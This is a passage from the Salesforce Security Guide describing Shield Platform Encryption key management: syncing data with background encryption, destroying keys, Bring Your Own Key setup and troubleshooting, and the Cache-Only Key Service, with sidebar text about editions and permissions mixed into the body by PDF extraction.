left side of the page. If the Uses Active Key value is lower than the Data Encrypted value, some of your data uses archived key material.
To synchronize your data, click the Sync button or contact Salesforce Customer Support.
• Synchronize data—Key rotation is an important part of any encryption strategy. When you rotate your key material, you might want
to apply the active key material to existing data. To synchronize your data with your active key, click the Sync button.
If self-service background encryption is unavailable, review the Uses Active Key and Mixed Tenant Secret Status columns to identify
any fields that include data encrypted with an archived key. Make a note of these objects and fields, then contact Salesforce Customer
Support to request the background encryption service. Salesforce Customer Support can focus just on those objects and fields you
want to synchronize, keeping the background encryption process as short as possible.

Synchronize Your Data Encryption with the Background Encryption Service

Periodically, you change your encryption policy. Or you rotate your keys. To get the most protection out of your encryption strategy with
Shield Platform Encryption, synchronize new and existing encrypted data under your most recent encryption policy and keys. You can
do this yourself or ask Salesforce for help.
When a change occurs, you have options for keeping your encryption policy up to date. You can synchronize most standard and custom
field data yourself from the Encryption Statistics and Data Sync page in Setup. For all other data, Salesforce is here to help ensure data
alignment with your latest encryption policy and tenant secret.

When We Do and Don’t Automatically Encrypt Your Data

• When you turn on encryption for specific fields or other data, newly created and edited data are automatically encrypted with the
most recent key.
• Data that’s already in your org doesn't automatically get encrypted. Our background encryption service takes care of that on request.
• When you change your tenant secret as part of your key rotation strategy, data that's already encrypted remains encrypted with the
old tenant secret. Our background encryption service can update it on request. And don't worry, you always have access to your
data as long as you don't destroy the old, archived keys.
• If you turn off encryption, data that’s already there is automatically decrypted based on the relevant key. Any functionality impacted
by having encrypted data is restored.
• If Salesforce support re-encrypts your data with a new key, any data that was encrypted with the destroyed key is skipped. To access
data encrypted with a destroyed key, import a backup of the destroyed key.

Note: Note: Synchronizing your data encryption doesn't modify the record LastModifiedDate or LastModifiedById timestamps.
It doesn't execute triggers, validation rules, workflow rules, or any other automated service. However, it does modify the
SystemModStamp.

What You Can Synchronize Yourself

You can synchronize most encrypted data yourself from the Encryption Statistics page in Setup. Self-service background encryption
synchronizes:

188
Salesforce Security Guide Key Management and Rotation

• Standard and custom fields

• The Attachment—Content Body field
• Field history and feed tracking changes when the Encrypt Field History and Feed Tracking Values setting is turned on
Read more about self-service background encryption on page 190, and its considerations on page 222, in Salesforce Help.

How to Request Background Encryption Service from Salesforce Customer Support

If you can’t sync data yourself, contact Salesforce Customer Support for help. Keep these tips in mind when asking for help with syncing
your data.
Allow lead time
Contact Salesforce support 2–3 business days before you need the background encryption completed. The time to complete the
process varies based on the volume of data. It could take several days.
Specify the data
Provide the list of objects, field names, and data elements you want encrypted or re-encrypted.
Verify the list
Verify that this list matches what’s encrypted in Setup:
• Data elements selected on the Encryption Policy page
• Standard fields selected on the Encrypt Standard Fields page
• Custom fields you selected for encryption on the Field Definition page

Tip: Also check that your field values aren’t too long for encryption.

Include files and attachments?

Encryption for files and attachments is all or nothing. You don't have to specify which ones.
Include history and feed data?
Specify whether you want the corresponding field history and feed data encrypted.
Choose a time
Salesforce Customer Support can run the background encryption service Monday through Friday between 6 AM and 5 PM in your
time zone.

Tip: If you’re not sure which data is already encrypted, visit the Encryption Statistics page, which keeps a record of all fields that
you have encrypted.

What If You Destroyed Your Key?

If your encryption key has been destroyed, your data can’t be automatically decrypted. You have some options for handling this data.
• Reimport the destroyed key from a backup, then ask Salesforce Customer Support to synchronize your data with your encryption
policy.
• Delete all the data that was encrypted with the destroyed key, then ask Salesforce Customer Support to synchronize your data.
• Ask Salesforce Customer Support to mass overwrite the data that was encrypted with the destroyed key with "?????".

Note: Keep these points in mind when disabling encryption on data encrypted with destroyed material.
• When you disable encryption for files that were encrypted with a key that’s been destroyed, the files don’t automatically go
away. You can ask Salesforce support to delete the files.
• The automatic decryption process takes longer when you disable encryption on fields encrypted with a key that’s been
destroyed. Salesforce notifies you by email when the process finishes.

189
Salesforce Security Guide Key Management and Rotation

IN THIS SECTION:
Sync Data with Self-Service Background Encryption
Synchronizing your data with your active key material keeps your encryption policy up to date. You can sync data in standard and
custom fields, the Attachment—Content Body field, and for field history and feed tracking changes from the Encryption Statistics
and Data Sync page in Setup. To synchronize all other encrypted data, contact Salesforce Customer Support.

Sync Data with Self-Service Background Encryption

Synchronizing your data with your active key material keeps your encryption policy up to date. You
EDITIONS
can sync data in standard and custom fields, the Attachment—Content Body field, and for field
history and feed tracking changes from the Encryption Statistics and Data Sync page in Setup. To Available as an add-on
synchronize all other encrypted data, contact Salesforce Customer Support. subscription in: Enterprise,
Self-service background encryption supports all standard and custom fields, the Performance, and
Attachment—Content Body field, and field history and feed tracking changes. For help synchronizing Unlimited Editions. Requires
other encrypted data, contact Salesforce Customer Support. purchasing Salesforce
Shield. Available in
To include field history and feed tracking values in self-service background encryption processes, Developer Edition at no
first turn on Encrypt Field History and Feed Tracking Values on the Advanced Settings page. charge for orgs created in
You can also enable field history and feed tracking encryption programmatically with the Summer ’15 and later.
PlatformEncryptionSettings metadata type. When this setting is turned on, the self-service
background encryption process applies your active key material to your field history and feed Available in both Salesforce
tracking values. Classic and Lightning
Experience.
1. From Setup, in the Quick Find box, enter Platform Encryption, and then select
Encryption Statistics.
USER PERMISSIONS
2. Select an object type or custom object from the left pane.
View Platform Encryption
Note: The Sync Needed column indicates whether you need to synchronize your data.
Setup pages:
This column displays Yes when you add or disable encryption on fields, rotate key material,
• View Setup and
or change a field’s encryption scheme. Configuration
3. Click Sync.
Supported standard and custom fields are encrypted with your active key material and encryption
policy in the background. After the service syncs your data, it gathers statistics for the object. To view your gathered statistics, wait
for your verification email and then refresh the Encryption Statistics and Data Sync page.

Note: The sync process time varies depending on how much data you have in your object. You’re notified by email when the
sync process is finished. You can sync your data from the Encryption Statistics and Data Sync page once every 7 days.
If you have lots of data in Attachment—Content Body fields, the sync process breaks your request into batches and syncs them
in sequence. However, sometimes we can’t encrypt all these batches at once. This is a service protection that helps Salesforce
maintain functional network loads. If the sync process finishes but the encryption statistics status is less than 100% complete, click
Sync again. The background encryption service picks up where it left off.

190
Salesforce Security Guide Key Management and Rotation

Destroy Key Material

Only destroy Shield Platform Encryption tenant secrets and key material in extreme cases where
EDITIONS
access to related data is no longer needed. Your key material is unique to your org and to the specific
data to which it applies. Once you destroy key material, related data is not accessible unless you Available as an add-on
import previously exported key material. subscription in: Enterprise,
You are solely responsible for making sure that your data and key material are backed up and stored Performance, and
in a safe place. Salesforce can’t help you with deleted, destroyed, or misplaced tenant secrets and Unlimited Editions. Requires
keys. purchasing Salesforce
Shield. Available in
1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key Developer Edition at no
Management. charge for orgs created in
2. In the table that lists your tenant secrets, find the row that contains the one you want to destroy. Summer ’15 and later.
Click Destroy.
Available in both Salesforce
3. A warning box appears. Type in the text as shown and select the checkbox acknowledging that Classic and Lightning
you’re destroying a tenant secret, then click Destroy. Experience.
After you destroy the key that encrypted the content, file previews and content that was already
cached in the user’s browser may still be visible in cleartext. When the user logs in again, the
USER PERMISSIONS
cached content is removed.
If you create a sandbox org from your production org and then destroy the tenant secret in To generate, destroy, export,
your sandbox org, the tenant secret still exists in the production org. import, upload, and
configure tenant secrets and
4. To import your tenant secret, click Import > Choose File and select your file. Make sure you’re customer-supplied key
material:
importing the correct version of the tenant secret.
• Manage Encryption Keys
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the
difference?

Require Multi-Factor Authentication for Key Management

Multi-factor authentication (MFA) is a powerful tool for securing access to data and resources. You
EDITIONS
can require multi-factor authentication for Shield Platform Encryption key management tasks like
generating, rotating, or uploading key material and certificates. Available in: Enterprise,
Important: Make sure that you provide security administrators a way to get a time-based, Performance, Unlimited,
and Developer Editions
one-time password. This password is their second authentication factor (in addition to their
Salesforce username and password). Otherwise, they can’t complete encryption key-related
tasks. USER PERMISSIONS
1. From Setup, in the Quick Find box, enter Identity Verification, and then select
To assign identity verification
Identity Verification. for key management tasks:
2. Select Raise session to high-assurance from the Manage Encryption Keys dropdown. • Manage Encryption Keys
All admins with the Manage Encryption Keys permission must use an additional verification
method to complete key management tasks through Setup and the API.

191
Salesforce Security Guide Key Management and Rotation

Bring Your Own Key (BYOK)

When you supply your own tenant secret, you get the benefits built-in to Salesforce Shield Platform
EDITIONS
Encryption, plus the extra assurance that comes from exclusively managing your tenant secret.
Controlling your own tenant secret entails contacting Salesforce Customer Support to enable Bring Available as an add-on
Your Own Keys, generating a BYOK-compatible certificate, using that certificate to encrypt and subscription in: Enterprise,
secure your self-generated tenant secret, then granting the Salesforce Shield Platform Encryption Performance, and
key management machinery access to your tenant secret. Unlimited Editions. Requires
purchasing Salesforce
Shield. Available in
IN THIS SECTION: Developer Edition at no
1. Bring Your Own Key Overview charge for orgs created in
Yes. You can generate and store your customer-supplied key material outside of Salesforce Summer ’15 and later.
using your own crypto libraries, enterprise key management system, or hardware security Available in both Salesforce
module (HSM). You then grant the Salesforce Shield Platform Encryption key management Classic and Lightning
machinery access to those keys. You can choose to encrypt your keys with a public key from a Experience.
self-signed or CA-signed certificate.
2. Generate a BYOK-Compatible Certificate USER PERMISSIONS
To encrypt data in Salesforce with Bring Your Own Key (BYOK) key material, use Salesforce to
generate a 4096-bit RSA certificate. You can generate a self-signed or certificate-authority (CA) To generate, destroy, export,
signed certificate. Each BYOK-compatible certificate’s private key is encrypted with a derived, import, and upload tenant
secrets and
org-specific tenant secret key.
customer-supplied key
3. Generate and Wrap BYOK Key Material material:
Generate a random number as your BYOK tenant secret. Then calculate an SHA256 hash of the • Manage Encryption Keys
secret, and encrypt it with the public key from the BYOK-compatible certificate you generated. To edit, upload, and
4. Sample Script for Generating a BYOK Tenant Secret download HSM-protected
certificates with the Shield
We’ve provided a helper script that may be handy for preparing your tenant secret for upload. Platform Encryption Bring
The script generates a random number as your tenant secret, calculates an SHA256 hash of the Your Own Key service:
secret, and uses the public key from the certificate to encrypt the secret. • Manage Encryption Keys
5. Upload Your BYOK Tenant Secret AND
After you have your BYOK-compatible tenant secret, upload it to Salesforce. The Shield Key Manage Certificates
Management Service (KMS) uses your tenant secret to derive your org-specific data encryption
AND
key.
Customize Application
6. Opt-Out of Key Derivation with BYOK
If you don’t want Shield Platform Encryption to derive a data encryption key for you, you can
opt out of key derivation and upload your own final data encryption key. Opting out gives you
even more control of the key material used to encrypt and decrypt your data.
7. Take Good Care of Your BYOK Keys
When you create and store your own key material outside of Salesforce, it’s important that you safeguard that key material. Make
sure that you have a trustworthy place to archive your key material; never save a tenant secret or data encryption key on a hard drive
without a backup.
8. Troubleshooting Bring Your Own Key
One or more of these frequently asked questions may help you troubleshoot any problems that arise with Shield Platform Encryption’s
Bring Your Own Key service.

192
Salesforce Security Guide Key Management and Rotation

Bring Your Own Key Overview

Yes. You can generate and store your customer-supplied key material outside of Salesforce using
EDITIONS
your own crypto libraries, enterprise key management system, or hardware security module (HSM).
You then grant the Salesforce Shield Platform Encryption key management machinery access to Available as an add-on
those keys. You can choose to encrypt your keys with a public key from a self-signed or CA-signed subscription in: Enterprise,
certificate. Performance, and
To work with our key management machinery, your customer-supplied key material needs to meet Unlimited Editions. Requires
these specifications: purchasing Salesforce
Shield. Available in
• 256-bit size Developer Edition at no
• Encrypted with a public RSA key that is extracted from the downloaded BYOK certificate, then charge for orgs created in
padded using OAEP padding Summer ’15 and later.
• Once it’s encrypted, it must be encoded in standard base64 Available in both Salesforce
To work with encryption keys, you need the Manage Encryption Keys permission. To generate Classic and Lightning
BYOK-compatible certificates, you need the Customize Application permission. Experience.

193
Salesforce Security Guide Key Management and Rotation

Generate a BYOK-Compatible Certificate

To encrypt data in Salesforce with Bring Your Own Key (BYOK) key material, use Salesforce to
EDITIONS
generate a 4096-bit RSA certificate. You can generate a self-signed or certificate-authority (CA)
signed certificate. Each BYOK-compatible certificate’s private key is encrypted with a derived, Available as an add-on
org-specific tenant secret key. subscription in: Enterprise,
To create a self-signed certificate: Performance, and
Unlimited Editions. Requires
1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key
purchasing Salesforce
Management. Shield. Available in
2. Click Bring Your Own Key. Developer Edition at no
charge for orgs created in
3. Click Create Self-Signed Certificate.
Summer ’15 and later.
4. Enter a unique name for your certificate in the Label field. The Unique Name field automatically
assigns a name based on what you enter in the Label field. Available in both Salesforce
Classic and Lightning
The Exportable Private Key (1), Key Size (2), and Use Platform Encryption (3) settings are pre-set. Experience.
These settings ensure that your self-signed certificate is compatible with Salesforce Shield
Platform Encryption.
USER PERMISSIONS

To generate, destroy, export,

import, upload, and
configure tenant secrets and
customer-supplied key
material:
• Manage Encryption Keys
Edit, upload, and download
HSM-protected certificates
with the Shield Platform
Encryption Bring Your Own
Key service
• Manage Certificates
5. When the Certificate and Key Detail page appears, click Download Certificate. AND
If you’re not sure whether a self-signed or CA-signed certificate is right for you, consult your Customize Application
organization’s security policy. See Certificates and Keys in Salesforce Help for more about what AND
each option implies.
Manage Encryption Keys
To create a CA-signed certificate, follow the instructions in the Generate a Certificate Signed
By a Certificate Authority topic in Salesforce Help. Remember to manually change the Exportable
Private Key, Key Size, and Platform Encryption settings to ensure that your certificate is
BYOK-compatible.

194
Salesforce Security Guide Key Management and Rotation

Generate and Wrap BYOK Key Material

Generate a random number as your BYOK tenant secret. Then calculate an SHA256 hash of the
EDITIONS
secret, and encrypt it with the public key from the BYOK-compatible certificate you generated.
1. Generate a 256-bit tenant secret using the method of your choice. Available as an add-on
You can generate your tenant secret in one of 2 ways: subscription in: Enterprise,
Performance, and
• Use your own on-premises resources to generate a tenant secret programmatically, using Unlimited Editions. Requires
an open-source library such as Bouncy Castle or OpenSSL. purchasing Salesforce
Shield. Available in
Tip: We've provided a script on page 195 that may be useful as a guide to the process.
Developer Edition at no
charge for orgs created in
• Use a key brokering partner that can generate, secure, and share access to your tenant
Summer ’15 and later.
secret.
Available in both Salesforce
2. Wrap your tenant secret with the public key from the BYOK-compatible certificate you generated, Classic and Lightning
using the default SHA1 padding algorithm. Experience.
Specify the OAEP padding scheme. Make sure the resulting encrypted tenant secret and hashed
tenant secret files are encoded using base64.
USER PERMISSIONS
3. Encode this encrypted tenant secret to base64.
Edit, upload, and download
4. Calculate an SHA-256 hash of the plaintext tenant secret. HSM-protected certificates
with the Shield Platform
5. Encode the SHA-256 hash of the plaintext tenant secret to base64.
Encryption Bring Your Own
Key service:
• Manage Certificates
AND
Customize Application
AND
Manage Encryption Keys

Sample Script for Generating a BYOK Tenant Secret

We’ve provided a helper script that may be handy for preparing your tenant secret for upload. The
EDITIONS
script generates a random number as your tenant secret, calculates an SHA256 hash of the secret,
and uses the public key from the certificate to encrypt the secret. Available as an add-on
1. Download the script from the Salesforce Knowledge Base. Save it in the same directory as the subscription in: Enterprise,
certificate. Performance, and
Unlimited Editions. Requires
2. Run the script specifying the certificate name, like this: ./secretgen.sh
purchasing Salesforce
my_certificate.crt
Shield. Available in
Replace this certificate name with the actual filename of the certificate you downloaded. Developer Edition at no
charge for orgs created in
Tip: If needed, use chmod +w secretgen.sh to make sure that you have write
Summer ’15 and later.
permission to the file and use chmod 775 to make it executable.
Available in both Salesforce
3. The script generates several files. Look for the two files that end with the .b64 suffix. Classic and Lightning
The files ending in .b64 are your base 64-encoded encrypted tenant secret and base 64-encoded Experience.
hash of the plaintext tenant secret. You’ll need both of these files for the next step.

195
Salesforce Security Guide Key Management and Rotation

Upload Your BYOK Tenant Secret

After you have your BYOK-compatible tenant secret, upload it to Salesforce. The Shield Key
EDITIONS
Management Service (KMS) uses your tenant secret to derive your org-specific data encryption key.
1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key Available as an add-on
Management. subscription in: Enterprise,
Performance, and
2. Click Bring Your Own Key.
Unlimited Editions. Requires
3. In the Upload Tenant Secret section, attach both the encrypted key material and the hashed purchasing Salesforce
plaintext key material. Click Upload. Shield. Available in
Developer Edition at no
charge for orgs created in
Summer ’15 and later.

Available in both Salesforce

Classic and Lightning
Experience.

USER PERMISSIONS

To generate, destroy, export,

import, and upload tenant
This tenant secret automatically becomes the active tenant secret. secrets and
customer-supplied key
Your tenant secret is now ready to be used for key derivation. From here on, the Shield KMS
material:
uses your tenant secret to derive an org-specific data encryption key. The app server then uses
• Manage Encryption Keys
this key to encrypt and decrypt your users’ data.
If you don’t want Salesforce to derive a data encryption key for you, you can opt out of key
derivation and upload your own final data encryption key. For more information, see “Opt-Out of Key Derivation with BYOK” in
Salesforce Help.

Note: You can have up to 50 active and archived tenant secrets of each type. For example, you can have one active and 49
archived Data in Salesforce tenant secrets, and the same number of Analytics tenant secrets. This limit includes
Salesforce-generated and customer-supplied key material.
If you reach the limit, destroy an existing key before reactivating, rearchiving, or creating a callout to another one. Before
destroying a key, synchronize the data that it encrypts with an active key.

4. Export your tenant secret, and back it up as prescribed in your organization’s security policy.
To restore a destroyed tenant secret, reimport it. The exported tenant secret is different from the tenant secret you uploaded. It’s
encrypted with a different key and has additional metadata embedded in it. See Back Up Your Tenant Secret in Salesforce Help.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

196
Salesforce Security Guide Key Management and Rotation

Opt-Out of Key Derivation with BYOK

If you don’t want Shield Platform Encryption to derive a data encryption key for you, you can opt
EDITIONS
out of key derivation and upload your own final data encryption key. Opting out gives you even
more control of the key material used to encrypt and decrypt your data. Available as an add-on
Generate your customer-supplied data encryption key using a method of your choice. Then calculate subscription in: Enterprise,
an SHA256 hash of the key, and encrypt it with the public key from a BYOK-compatible certificate. Performance, and
See Upload Your BYOK Tenant Secret for details about how to prepare customer-supplied key Unlimited Editions. Requires
material. purchasing Salesforce
Shield. Available in
1. Make sure that your org has the Bring Your Own Keys feature enabled. To enable this feature, Developer Edition at no
contact Salesforce Customer Support. charge for orgs created in
2. From Setup, in the Quick Find box, enter Platform Encryption, and then select Summer ’15 and later.
Advanced Settings.
Available in both Salesforce
3. Enable Allow BYOK to Opt-Out of Key Derivation. Classic and Lightning
You can also enable the Allow BYOK to Opt-Out of Key Derivation setting programmatically. Experience.
For more information, see EncryptionKeySettings in the Metadata API Developer Guide.
You can now opt out of key derivation when you upload key material. USER PERMISSIONS
4. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key To generate, destroy, export,
Management. import, and upload tenant
5. Click Bring Your Own Key. secrets and
customer-supplied key
6. Deselect Use Salesforce key derivation. material:
• Manage Encryption Keys
To allow BYOK to opt out of
key derivation:
• Customize Application
AND
Manage Encryption Keys

7. In the Upload Tenant Secret section, attach both your encrypted data encryption key and your hashed plaintext data encryption
key.
8. Click Upload.
This data encryption key automatically becomes the active key.

From now on, the Shield Key Management Service (KMS) skips the derivation process and uses your data encryption key to directly
encrypt and decrypt your data. You can review the derivation status of all key material on the Key Management page.

197
Salesforce Security Guide Key Management and Rotation

9. Export your data encryption key and back it up as prescribed in your organization’s security policy.
To restore your data encryption key, reimport it. The exported data encryption key is different from the data encryption key you
uploaded. It is encrypted with a different key and has additional metadata embedded in it. See Back Up Your Tenant Secret in
Salesforce Help.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

Take Good Care of Your BYOK Keys

When you create and store your own key material outside of Salesforce, it’s important that you
EDITIONS
safeguard that key material. Make sure that you have a trustworthy place to archive your key material;
never save a tenant secret or data encryption key on a hard drive without a backup. Available as an add-on
Back up all imported key material after you upload them to Salesforce. This ensures that you have subscription in: Enterprise,
copies of your active key material. See Back Up Your Tenant Secret in Salesforce Help. Performance, and
Unlimited Editions. Requires
Review your company policy on key rotation. You can rotate and update your keys on your own
purchasing Salesforce
schedule. See Rotate Your Encryption Keys. Shield. Available in
Important: If you accidentally destroy a tenant secret that isn't backed up, Salesforce won’t Developer Edition at no
be able to help you retrieve it. charge for orgs created in
Summer ’15 and later.

Available in both Salesforce

Classic and Lightning
Experience.

Troubleshooting Bring Your Own Key

One or more of these frequently asked questions may help you troubleshoot any problems that
EDITIONS
arise with Shield Platform Encryption’s Bring Your Own Key service.
I’m trying to use the script you provide, but it won’t run. Available as an add-on
Make sure that you are running the right script for your operating system. If you are working subscription in: Enterprise,
on a Windows machine, you can install a Linux emulator and use the Linux script. These issues Performance, and
can also prevent the script from running: Unlimited Editions. Requires
purchasing Salesforce
• You don’t have write permission in the folder you’re trying to run the script from. Try running Shield. Available in
the script from a folder that you have write permission for. Developer Edition at no
• The certificate that the script references is missing. Make sure you’ve properly generated charge for orgs created in
the certificate. Summer ’15 and later.
• The certificate is missing or is not being referenced by the correct name. Make sure you’ve Available in both Salesforce
entered the correct file name for your certificate in the script. Classic and Lightning
I want to use the script you provide, but I also want to use my own random number Experience.
generator.
The script we provide uses a random number generator to create a random value that is then
used as your tenant secret. If you would like to use a different generator, replace head -c 32 /dev/urandom | tr '\n'
= (or, in the Mac version, head -c 32 /dev/urandom > $PLAINTEXT_SECRET) with a command that generates a
random number using your preferred generator.
What if I want to use my own hashing process to hash my tenant secret?
No problem. Just make sure that the result meets these requirements:

198
Salesforce Security Guide Key Management and Rotation

• Uses an SHA-256 algorithm.

• Results in a base64 encoded hashed tenant secret.
• Generates the hash of the random number BEFORE encrypting it.
If any of these three criteria aren’t met, you can’t upload your tenant secret.
How should I encrypt my tenant secret before I upload it to Salesforce?
If you’re using the script provided, the encryption process is taken care of. If you do not use the script, specify the OAEP padding
scheme when you encrypt your tenant secret. Make sure the resulting encrypted tenant secret and hashed tenant secret files are
encoded using base64. If either of these criteria are not met, you can’t upload your tenant secret.
If you choose to not use the script provided, follow the instructions in the Generate And Wrap Your Tenant Secret Help topic.
I can’t upload my Encrypted tenant secret and Hashed tenant secret.
A handful of errors can prevent your files from uploading. Use the chart to make that sure your tenant secrets and certificates are in
order.

Possible cause Solution

Your files were generated with an Check the date on your certificate. If it has expired, you can renew your certificate or use another
expired certificate. one.

Your certificate is not active, or is Ensure that your certificate settings are compatible with the Bring Your Own Key feature. Under
not a valid Bring Your Own Key the Certificate and Key Edit section of the Certificates page, select a 4096-bit certificate size,
certificate. disable Exportable Private Key, and enable Platform Encryption.

You haven’t attached both the Make sure that you attach both the encrypted tenant secret and hashed tenant secret. Both of
encrypted tenant secret and the these files should have a .b64 suffix.
hashed tenant secret.

Your tenant secret or hashed Several problems can cause this error. Usually, the tenant secret or hashed tenant secret wasn't
tenant secret wasn’t generated generated using the correct SSL parameters. If you are using OpenSSL, you can refer to the script
properly. for an example of the correct parameters you should use to generate and hash your tenant
secret. If you are using a library other than OpenSSL, check that library's support page for help
with finding the correct parameters to both generate and hash your tenant secret.
Still stuck? Contact your Salesforce account executive. They'll put you in touch with someone
at Salesforce who can help.

I’m still having problems with my key. Who should I talk to?
If you still have questions, contact your account executive. They’ll put you in touch with a support team specific to this feature.

199
Salesforce Security Guide Key Management and Rotation

Cache-Only Key Service

Shield Platform Encryption’s Cache-Only Key Service addresses a unique need for non-persisted
EDITIONS
key material. You can store your key material outside of Salesforce and have the Cache-Only Key
Service fetch your key on demand from a key service that you control. Your key service transmits Available in: Enterprise,
your key over a secure channel that you configure, and the Cache-Only Key Service uses your key Performance, Unlimited,
for immediate encrypt and decrypt operations. Salesforce doesn’t retain or persist your cache-only and Developer Editions.
keys in any system of record or backups. You can revoke key material at any time. Requires purchasing
Salesforce Shield or Shield
IN THIS SECTION: Platform Encryption, and the
Cache-Only Key Service.
1. How Cache-Only Keys Works
The Shield Platform Encryption Cache-Only Key Service lets you use a variety of key services to Available in both Salesforce
generate, secure, and store your key material. You can use an on-premises key service, host Classic and Lightning
Experience.
your own cloud-based key service, or use a cloud-based key brokering vendor.
2. Prerequisites and Terminology for Cache-Only Keys
Shield Platform Encryption’s Cache-Only Key Service offers you more control over your key material. When you use cache-only keys,
you control more of the key management tasks. Before you start using the service, understand how to create and host your key
material in a way that’s compatible with Salesforce’s BYOK service.
3. Create and Assemble Your Key Material
The Shield Platform Encryption Cache-Only Key Service is compatible with 256-bit AES keys returned in a JSON response, and then
wrapped using JSON Web Encryption (JWE).
4. Configure Your Cache-Only Key Callout Connection
Use a named credential to specify the endpoint for your callout, and identify the key that you want to fetch from your endpoint.
5. Add Replay Detection for Cache-Only Keys
Replay detection protects your cache-only keys if a callout is fraudulently intercepted. When enabled, replay detection inserts an
autogenerated, unique marker called a RequestIdentifier into every callout. The RequestIdentifier includes the key identifier, a nonce
generated for that callout instance, and the nonce required from the endpoint. The RequestIdentifier serves as a random, one-time
identifier for each valid callout request. Once you set up your key service to accept and return the RequestIdentifier, any callout with
missing or mismatched RequestIdentifiers is aborted.
6. Check Your Cache-Only Key Connection
Because your cache-only key material is stored outside of Salesforce, it’s important to maintain a functional callout connection. Use
the Callout Check page to monitor your connection and quickly respond to key service interruptions that could prevent the service
from fetching your keys.
7. Destroy a Cache-Only Key
When you destroy a cache-only key, you’re destroying two things: the key in the cache, and the callout connection to the key service.
8. Reactivate a Cache-Only Key
If you still have your named credential associated with a key that was destroyed in Salesforce, you can reactivate a destroyed
cache-only key from Setup or programmatically through the API. Reactivating a destroyed key makes it the active key. Before you
reactivate a destroyed key, make sure that the corresponding key service connection is recovered.
9. Considerations for Cache-Only Keys
These considerations apply to all data that you encrypt using the Shield Platform Encryption Cache-Only Key Service.
10. Troubleshoot Cache-Only Keys
One or more of these frequently asked questions may help you troubleshoot any problems that arise with Shield Platform Encryption’s
Cache-Only Key Service.

200
Salesforce Security Guide Key Management and Rotation

How Cache-Only Keys Works

The Shield Platform Encryption Cache-Only Key Service lets you use a variety of key services to generate, secure, and store your key
material. You can use an on-premises key service, host your own cloud-based key service, or use a cloud-based key brokering vendor.
Figures 1 and 2 show how Salesforce fetches keys on-demand from your specified key service. Whether you store your keys with an
on-premises key service or a cloud-based key service, the flow is the same. When users access encrypted data, or add sensitive data to
encrypted data elements, the Cache-Only Key Service makes a callout to your key service. Your key service passes key material, wrapped
securely in JSON Web Encryption format, through a secure, authenticated channel that you set up.

Figure 1: On-premises Key Service

Figure 2: Cloud-Based Key Service

As a core offering of the Shield KMS, enhanced cache controls ensure that key material is stored securely while in the cache. The Shield
KMS encrypts the fetched key material with an org-specific AES 256-bit cache encryption key and stores the encrypted key material in
the cache for encrypt and decrypt operations. HSM-protected keys secure the cache encryption key in the cache, and the cache encryption
key is rotated along with key lifecycle events such as key destruction and rotation.

201
Salesforce Security Guide Key Management and Rotation

The enhanced cache controls provide a single source of truth for key material used to encrypt and decrypt your data. Subsequent
encryption and decryption requests go through the encrypted key cache until the cache-only key is revoked or rotated, or the cache is
flushed. Once the cache is flushed, the Cache-Only Key Service fetches key material from your specified key service. The cache is regularly
flushed every 72 hours, and certain Salesforce operations flush the cache on average every 24 hours. Destroying a data encryption key
invalidates the corresponding data encryption key that’s stored in the cache.
Because cache-only keys bypass the key derivation process, they’re used to directly encrypt and decrypt your data.

Prerequisites and Terminology for Cache-Only Keys

Shield Platform Encryption’s Cache-Only Key Service offers you more control over your key material. When you use cache-only keys, you
control more of the key management tasks. Before you start using the service, understand how to create and host your key material in
a way that’s compatible with Salesforce’s BYOK service.

Prerequisites
1. Prepare your Salesforce org. Make sure that your org has at least one active Data in Salesforce key, either Salesforce-generated or
customer-supplied. You can create a tenant secret by clicking Generate Tenant Secret on the Key Management page in Setup.
2. Generate and Host Key Material. The cache-only key exchange protocol and format requires that keys are wrapped in an opinionated
JSON Web Encryption (JWE). This format uses RSAES-OAEP for key encryption and AES GCM for content encryption.
Use a secure, trusted service to generate, store, and back up your key material.

3. Use and maintain a reliable high-availability key service. Choose a high-availability key service with an acceptable service level
agreement (SLA), predefined maintenance procedures, and processes to mitigate any potential impact to business continuity.
When the connection between Salesforce and your key service is broken, the Cache-Only Key Service can encrypt and decrypt data
as long as your key material is in the cache. However, keys don’t stay in the cache for long. The cache is regularly flushed every 72
hours, but some Salesforce operations flush the cache about every 24 hours.
If your key material isn’t in the cache, and the connection to your key service is broken, users can’t encrypt or decrypt records. Make
sure that you use a key service that Salesforce can connect to at any time. This is especially important during busy times like the end
of year or end of quarter.

4. Maintain a secure callout endpoint. The cache-only key exchange protocol requires that keys are wrapped in an opinionated JSON
format. Host your wrapped key inside the key response at a location Salesforce can request.
The Catch-Only Key Service uses named credentials to establish a secure, authenticated connection to allowed IP addresses and
domains. You can configure your named credentials to use popular authentication formats, such as Mutual TLS and OAuth. You can
change these authentication protocols at any time.

5. Actively monitor your key service logs for errors. While Salesforce is here to help you with the Shield Platform Encryption service,
you are responsible for maintaining the high-availability key service that you use to host your key material. You can use the
RemoteKeyCalloutEvent object to review or track cache-only key events.

Warning: Because you’re in control of your keys, you’re responsible for securing and backing up your key material. Salesforce
can’t retrieve lost key material stored outside of our encrypted key cache.

6. Know how to format and assemble your key material. Format key material hosted outside of Salesforce in a way that’s compatible
with the Cache-Only Key Service. Make sure that you can generate the following components in the required formats.

202
Salesforce Security Guide Key Management and Rotation

Table 2: Cache-Only Key Components

Component Format
Data encryption key (DEK) AES 256-bit

Content encryption key (CEK) AES 256-bit

BYOK-compatible certificate A 4096-bit RSA certificate who’s private key is encrypted with a
derived, org-specific tenant secret key

JSON Web Encryption content and header See a sample in Github

Algorithm for encrypting the CEK RSA-OAEP

Algorithm for encrypting the DEK A256GCM

Unique key identifier Allows numbers, uppercase and lowercase letters, periods,
hyphens, and underscores

Initialization vector Encoded in base64url

JSON web token ID (JTI) A 128-bit hex encoded, randomly generated identifier

Read more about assembling your key material in the Generate and Assemble Cache-Compatible Keys section. You can also look at our
Cache-Only Key Wrapper in Github for examples and sample utility.

Terminology
Here are some terms that are specific to the Cache-Only Key Service.
Content Encryption Key
For each key request, your key service endpoint generates a unique content encryption key. The content encryption key wraps the
data encryption key, which is in turn encrypted by the key encrypting key and placed in the JWE header of the key response.
JSON Web Encryption
The JSON-based structure that the Shield Platform Encryption service uses to encrypted content. JSON Web Encryption, or JWE, uses
RSAES-OAEP for key encryption and AES GCM for content encryption.
JSON Web Token ID
A unique identifier for the JSON web token, which enables identity and security information to be shared across security domains.
Key Identifier
